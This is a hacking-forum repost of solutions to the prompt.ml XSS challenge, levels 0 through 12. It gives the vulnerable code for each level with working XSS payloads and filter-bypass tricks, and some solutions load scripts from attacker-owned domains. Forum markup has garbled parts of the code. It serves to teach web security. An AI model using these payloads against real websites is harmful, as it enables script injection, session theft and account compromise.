Sprotechs - Hack Forum
prompt.ml Challenges Solution - Printable Version

+- Sprotechs - Hack Forum (https://forum.sprotechs.com)
+-- Forum: XSS (https://forum.sprotechs.com/forumdisplay.php?fid=20)
+--- Forum: Solutions (https://forum.sprotechs.com/forumdisplay.php?fid=23)
+--- Thread: prompt.ml Challenges Solution (/showthread.php?tid=59)



prompt.ml Challenges Solution - admin - 10-04-2018

Presenting Prompt.ml Soluions

Level 0

Level 0 is a basic warm-up that requires the user to simply inject active HTML executing 
prompt(1)
. The magic is however hidden in the length of the submission. While most browsers allow to execute 
prompt(1)
 using 24 characters, some do allow for significantly less using an interesting trick on MSIE.

[/url]Code
function escape(input) {

   // warm up

   // script should be executed without user interaction

   return '<input type="text" value="' + input + '">';
}

Solutions
"><svg/onload=prompt(1)>
SVG is always good for a short and crisp attack vector. This solution works with 24 characters and was found by an overwhelming amount of participants.
"onresize=prompt(1)>
Not too well-known is however, that MSIE, once loaded in IE10 document mode, fires 
resize
-events for almost anything in the markup tree. This allows for another shortening, down to 20 characters.

Background Info
The 
resize
-event is special on MSIE 10 and older - but not on MSIE 11. What makes it special is the fact that it fires for most HTML elements without any user interaction. While useless in most cases, it makes this event particularly interesting for very short XSS vectors as it allows turning attribute-injections into XSS without user interaction. At least on MSIE10 and older.

More info: http://msdn.microsoft.com/en-us/library/ie/ms536959%28v=vs.85%29.aspx
» Top
Level 1
Level 1 requires to bypass a simple stripping mechanism borrowed from ExtJS library. The simple regular expression can be bypassed simply by removing the trailing 
>
 character. Furthermore, to force the browser to render the attack vector, it is required a trailing space or a line break. The shortest solution is 22 characters in length and is working in all tested browsers.

Code
function escape(input) {

   // tags stripping mechanism from ExtJS library

   // Ext.util.Format.stripTags

   var stripTagsRE = /<[b]\/?[^>]+>/gi
;

   input = input.replace(stripTagsRE, '');



   return '<article>' + input + '</article>';
}[/b]
Solutions
<svg/onload=prompt(1) 
Background Info
Nothing special here, just standard features that make for a good and short vector.
» Top
Level 2

Level 2 introduces an interesting filter: all open parenthesis and equal signs are blocked.
Code
function escape(input) {

   //                      v-- frowny face

   input = input.replace(/[=(]/g, '');



   // ok seriously, disallows equal signs and open parenthesis

   return input;
}

Solutions
Firefox and MSIE shortest solution (29 chars):
<svg><script>prompt(1)<b>
The previous vector does not work in Chrome because it requires the script closing tag.
The shortest solution is (35 chars):

<svg><script>prompt(1)</script>
In the near future we will be able to use neat and sneaky ES6 code in all browsers.


<script>eval.call`${'prompt\x281)'}`</script>


Or more specifically:

<script>prompt.call`${1}`</script>
[/code]
Background Info
The magic of this level's solution is once again caused by SVG. This time not only because it is useful to shorten the attack vector but also due to its XML-ish nature. This means that once we use entities inside an SVG's 
<script>
 element (or any other CDATA element), they will be parsed as if they were used in canonical representation. Therefore, to bypass the filter, the solution is to call 
prompt(1)
with the open parenthesis char 
(
 encoded, i.e. 
&#x28;
 or even shorter 
(
. One can also use 
&lpar;
 of course.

» Top
Level 3

Level 3 requires to break out the input from an HTML comment structure. It'd be easy if it were not for a tricky limitation that blocks all potential ending comment delimeters respective to what the HTML Specifications defines:
"... the comment must be ended by the three character sequence U+002D HYPHEN-MINUS, U+002D HYPHEN-MINUS, U+003E GREATER-THAN SIGN (-->)."
But, as it was first noted in 2012, HTML5 comments are a little bit special. Not only 
-->
 but also the character sequence 
--!>
 has the ability to close comments and thereby it possible to bypass this filter as well.

Code
function escape(input) {

   // filter potential comment end delimiters

   input = input.replace(/->/g, '_');



   // comment the input to avoid script execution

   return '<!-- ' + input + ' -->';
}

Solutions
This 25 characters length solution works in all browsers:
--!><svg/onload=prompt(1)
Background Info
Although the character sequence 
--!>
 raises a 
Parse error
, the HTML Specifications defines the tokenization that makes it an alternative to end a comment:

12.2.4.50 Comment end state,
U+0021 EXCLAMATION MARK (!): Parse error. Switch to the comment end bang state.

12.2.4.51 Comment end bang state,
U+003E GREATER-THAN SIGN (>): Switch to the data state. Emit the comment token.

To conclude, comments are special in almost any language. This does not exclude HTML of course:
» Top
Level 4

Level 4 requires us to bypass the regular expression to submit an external request to execute the JavaScript. However the fundamental problem with the escape function is that it decodes the user supplied input by using 
decodeURIComponent
 function. In this case we can trick the browser into believing that the prompt.ml part belongs to the basic authentication part of the URL i.e. 
http://user:password/@attacker.com
 by supplying 
%2f
 which would be decoded to 
/
 because of the 
decodeURIComponent
 function hence the complete url will become http://prompt.ml%[email protected].

Note: The shorter the domain you own (or borrow), the shorter is the solution. Go capitalism!
Code
function escape(input) {

   // make sure the script belongs to own site

   // sample script: http://prompt.ml/js/test.js

   if (/^(?:https?Smile?[b]\/\/prompt\.ml\//i
.test(decodeURIComponent(input))) {

       var script = document.createElement('script');

       script.src = input;

       return script.outerHTML;

   } else {

       return 'Invalid resource.';

   }
}[/b]
Solutions
The following solution is 21 characters length but the record is 17 characters that means a two characters domain for the attacker.
//prompt.ml%[email protected]ᄒ.ws/✌

The trick to solve the level with 17 characters only lies hidden in a transformation behavior some browsers apply when converting Unicode characters to URLs. A certain range of characters resolves to three other characters of which one is a dot - the dot we need for the URL. The following vectors uses the domain 14.rs that can be expressed by two characters only. One for the sequence 14. and one for the sequence rs:
//prompt.ml%[email protected]⒕₨

Background Info
While the first part of the solution for this level is easy to find, using protocol relative URLs and incomplete HTTP Basic Authentication, the Unicode trick was the hard part. As can be seen, the ways how browsers treat Unicode in URLs and especially domains is quirky and offers a large playground for attacks and obfuscation.
» Top
Level 5

In level 5 we have to bypass a regular expression that attempts to block event handlers and the closing bracket ">" so that we cannot close the existing input tag to execute JavaScript. The good thing here is that we can easily escape the current attribute. Another fundamental problem with the regular expression is that it fails to handle multi-line input, i.e. 
U+000A LINE FEED (LF)
 and 
U+000C FORM FEED (FF)
, which are also attribute separators.

So we can inject an event handler followed by a new line and then execute arbitrary JavaScript. Note that we cannot use 
autofocus
 keyword as its being filtered out. However, we could still use 
onresize
 event in MSIE.

Code
function escape(input) {

   // apply strict filter rules of level 0

   // filter ">" and event handlers

   input = input.replace(/>|on.+?=|focus/gi, '_');



   return '<input value="' + input + '" type="text">';
}

Solutions
One way to do it is to trick the element into thinking it's an image-input. We simply set the 
type
 to 
image
 due to the fact that the 
type
 after (second attribute) cannot override the previous one, as HTML Specifications states:

When the user agent leaves the attribute name state (and before emitting the tag token, if appropriate), the complete attribute's name must be compared to the other attributes on the same token; if there is already an attribute on the token with the exact same name, then this is a parse error and the new attribute must be removed from the token.
Then we can assign a 
src
 and then use an error handler:

"type=image src onerror
="prompt(1)

But as we have already learned, in MSIE we can use 
onresize
 and things will smoothly get much shorter.

"onresize
="prompt(1)

Found in google, we got a shorter vector.IE9+ & other browser
"oninput
="prompt(1)

Background Info
Nothing too special here. Just keep in mind: There are pitfalls in regular expressions in many places. Sometimes, by turning an input into an image-input, we can turn a hard-to exploit XSS vulnerability into something that executes without user interaction. Think 
type="hidden"
 for example.

» Top
Level 6

In level 6, the regular expression in place tries forbid the use of the strings 
javascript

vbscript
 as well as data URIs to prevent us to executing any JavaScript.

However, the problem is that the allows us to create our own inputs which could use to clobber the form's 
action
 property. Because of the DOM clobbering, 
document.forms[0].action
 will return our newly created input field instead of the actual 
action
 attribute and hence allows us to execute our JavaScript.

Code
function escape(input) {

   // let's do a post redirection

   try {

       // pass in formURL#formDataJSON

       // e.g. http://httpbin.org/post#{"name":"Matt"}

       var segments = input.split('#');

       var formURL = segments[0];

       var formData = JSON.parse(segments[1]);



       var form = document.createElement('form');

       form.action = formURL;

       form.method = 'post';



       for (var i in formData) {

           var input = form.appendChild(document.createElement('input'));

           input.name = i;
           input.setAttribute('value', formData);
       }

       return form.outerHTML + '                         \n\
<script>                                                  \n\
   // forbid javascript: or vbscript: and data: stuff    \n\
   if (!/script:|data:/i.test(document.forms[0].action)) \n\
       document.forms[0].submit();                       \n\
   else                                                  \n\
       document.write("Action forbidden.")               \n\
</script>                                                 \n\
       ';
   } catch (e) {
       return 'Invalid form data.';
   }
}

Solutions
The following would be a 33 chars solution:
javascript:prompt(1)#{"action":1}
However, it could be shortened for MSIE by using VBScript, which leads us to 29 chars solution.
vbscript:prompt(1)#{"action":1}
Background Info
DOM Clobbering can strike in various situations and is, in case a user can influence a website's HTML, hard to tackle. Most problematic here are two groups of attributes: 
name
-attributes and 
ID
-attributes. Depending on which HTML they are being used with, an attacker can overwrite properties, disable functions and influence JavaScript business logic. The best way to get around this is not to allow 
name
- and 
ID
-attributes in user controlled HTML content.

» Top
Level 7

In Level 7, the input is split to segments separated by the # character. Each segment is stripped to a maximum length of 12 characters, and then warped by a 
<p>
 element.

The trick here is to use the first segment to close the 
<p>
 tag and then start our own tag (in this case 
<svg
). Afterwards, we open an attribute to contain the "junk" that will be placed between the first and second segments.

In the second segment, we close our junk attribute, and open our event ("onload"), then we use a JS comment (/*) to contain the junk that will be placed between the second and third segment. In the third segment we close the JS comment, and finally call our precious 
prompt(1)
.

<p class="comment" title=""><svg/a="></p>
<p class="comment" title=""onload='/*"></p>
<p class="comment" title="*/prompt(1)'"></p>

Code
function escape(input) {
   // pass in something like dog#cat#bird#mouse...
   var segments = input.split('#');
   return segments.map(function(title) {
       // title can only contain 12 characters
       return '<p class="comment" title="' + title.slice(0, 12) + '"></p>';
   }).join('\n');
}

Solutions
The following is a 34 chars solution:
"><svg/a=#"onload='/*#*/prompt(1)'
31 chars, MSIE specific solution:
"><script x=#"async=#"src="//⒛₨

<p class="comment" title=""><script x="></p>
<p class="comment" title=""async="></p>
<p class="comment" title=""src="//⒛₨"></p>

Background Info
The 
async
 attribute allows to utilize un-closed script elements. So this works in MSIE - a very useful trick: 
<script src="test.js" async>

» Top
Level 8


There are two challenges to be solved in level 8. The first is to use a valid JavaScript line separator and the second is to find an alternative way to comment out code. As one may notice from the code, the characters 
\r\n
 are filtered out. However, the following chars are also treated as a valid line separators in JavaScript:

Line Separator - 
U+2028

Paragraph Separator - 
U+2029

Injecting a Line Separator character returns the following output:
<script>
// console.log("
prompt(1)");
</script>

The next challenge here is to comment out 
")
 associated with 
prompt(1)
 so that the JavaScript can be executed. However, 
/
 and 
<
 are being filtered out. According to the following spec - http://javascript.spec.whatwg.org/#comment-syntax
-->
 could also be used for commenting and this solves the second problem too. This forms the following syntax which indeed solves the challenge:

<script>
// console.log("
prompt(1)
-->");
</script>

Code
function escape(input) {

   // prevent input from getting out of comment

   // strip off line-breaks and stuff

   input = input.replace(/[\r\n</"]/g, '');



   return '                                \n\

<script>                                    \n\

   // console.log("' + input + '");        \n\

</script> ';
}
Solutions
This solution is 14 characters length and is valid in Chrome and Firefox.
[U+2028]prompt(1)[U+2028]-->
Background Info
The special part here is that in JavaScript, the regular expression to catch newlines doesn't match the Unicode versions thereof. However, the Unicode representation does function properly as a valid like and paragraph separator.
Oh, and we can use HTML comments in JavaScript because... because browsers.
» Top
Level 9


Level 9 uses the regular expression "<([a-zA-Z])" which prevents the user from adding any alphabet followed by an opening bracket (
<
) and hence preventing us from injecting a valid HTML tag. However the problem here is the 
toUpperCase()
 method converts not only English alphabet, but also some Unicode characters, as ECMAScript Language Specification states:

This function behaves in exactly the same way as String.prototype.toLowerCase, except that characters are mapped to their uppercase equivalents as specified in the Unicode Character Database.
The 
ſ
 character, when passed to the 
toUpperCase()
 function would be converted to the ASCII character "S" hence solving our problem.

Code
function escape(input) {

   // filter potential start-tags

   input = input.replace(/<([a-zA-Z])/g, '<_$1');

   // use all-caps for heading

   input = input.toUpperCase();



   // sample input: you shall not pass! => YOU SHALL NOT PASS!

   return '<h1>' + input + '</h1>';
}
Solutions
The following solution, 23 characters in length, uses the URL trick shown in solution 4 and abuses the fact, that browsers tend to convert certain Unicode characters to ASCII upon using 
toUppercase()
.

<ſvg><ſcript/href=//⒕₨>
The following is a universal solution for all browsers, requiring 26 characters:
<ſcript/ſrc=//⒕₨></ſcript>
or using async attribute 23 characters:
<ſcript/async/src=//⒛₨>
Background Info
The special part here is the transformation behavior. Not all Unicode characters have matching representations when casted to capitals - so browsers often tend to simply take a look-alike, best-fit mapping ASCII character instead. There's a fairly large range of characters with this behavior and all browsers do it a bit differently.
» Top
Level 10


Level 10 is one of the easier to solve levels of this challenge. There are two regular expressions to bypass: the first removes all the occurrences of 
prompt
 keyword, while the second removes all single quotes 
'
. To bypass the first regular expression is enough a single quote to split 
prompt
keyword to 
pr'ompt
, this clearly is not a valid JavaScript instruction but no panic the second regular expression will remove the intruder character 
'
 giving back a valid attack vector!

Code
function escape(input) {

   // (╯°□°)╯︵ ┻━┻

   input = encodeURIComponent(input).replace(/prompt/g, 'alert');

   // ┬──┬ ノ( ゜-゜ノ) chill out bro

   input = input.replace(/'/g, '');



   // (╯°□°)╯︵ /(.□. \)DONT FLIP ME BRO

   return '<script>' + input + '</script> ';
}
Solutions
This is a universal, 10 characters length, solution:
p'rompt(1)
Background Info
None so far, this level was a classic puzzle challenge and no browser quirks were used here.
» Top
Level 11

Level 11 allows us to inject directly into what will be the body of a script element. However, before doing so, the string we can influence experiences heavy filtering and we cannot inject any operators or other language elements that would allow for easy concatenation and payload injection. The trick here is to use an operator, that is alphanumeric - so an operator that doesn't require us to use the banned special characters. Well. There is a bunch of these and one we can utilize here. The 
in
operator.

Code
function escape(input) {

   // name should not contain special characters

   var memberName = input.replace(/[[|\s+*/[b]\\<>&^:;=~!%-]/g, '');[/b]



   // data to be parsed as JSON

   var dataString = '{"action":"login","message":"Welcome back, ' + memberName + '."}';



   // directly "parse" data in script context

   return '                                \n\

<script>                                    \n\

   var data = ' + dataString + ';          \n\

   if (data.action === "login")            \n\

       document.write(data.message)        \n\

</script> ';
}
Solutions
The following is a 15 character solution that simply wraps the payload in parenthesis and connects it to the output using the 
in
 operator. Elegant and simple.

"(prompt(1))in"
<script>                                    
   var data = {"action":"login","message":"Welcome back, "(prompt(1))in"."};          
   if (data.action === "login")            
       document.write(data.message)        
</script>

[url=https://github.com/cure53/XSSChallengeWiki/wiki/prompt.ml#background-info-11]Background Info
It's interesting to note, that the code 
"test"(alert(1))
 doesn't yield any parsing errors, but only returns a runtime exception. So, technically we can execute invalid code using this trick - and the error is thrown after the actual execution:

TypeError: string is not a function

Same story with 
alert(1)in"test"
:

TypeError: Cannot use 'in' operator to search for 'undefined' in test

» Top
Level 12


Level 12 is similar to level 10 but the regular expressions used for filtering are different. The first real challenge is to deal with the 
encodeURIComponent
 instruction. Using this function, characters like 
/

=

?
, etc. are getting URL encoded and therefore most of attack vectors are no longer usable. Anyway, dots and parentheses aren't encoded and they are good to create a working attack vector using the JavaScript function 
toString()
.

What's often overseen is that besides converting a number to string, 
toString()
 has an optional parameter: the radix 
toString(radix)
. This parameter allows to represent numeric values in different bases, from binary (radix 2) to Base36.

So the idea is: if we find a base that is [i]large enough to contain all characters required, we can encode our string to a number and then 
eval
 the result of the conversion (number > string).
[/i]

Let's have a look at an example: The string 
prompt
 is equivalent to 
1558153217
 in Base36:

parseInt("prompt",36); //1558153217
Consequently, a first valid attack vector is this long vector (105 chars) , where in addition to 
prompt
string we concat 
(1)
 in order to eval properly:

eval((1558153217).toString(36).concat(String.fromCharCode(40)).concat(1).concat(String.fromCharCode(41)))
Improvements:
  • We can put the 
    (1)
     section just after closing the eval call, saving a bunch of chars:
    • eval((1558153217).toString(36))(1)
  • [size=undefined]A character can be saved calling 
    toString
     as follow:[/size]
    • eval(1558153217..toString(36))(1)
  • [size=undefined]Another character can be saved using a different radix. Instead of Base36 it's enough to use Base30 to cover the range of characters required. In fact, in Base30 the 
    t
     is the last Latin letter that is representable:[/size]
    • eval(630038579..toString(30))(1)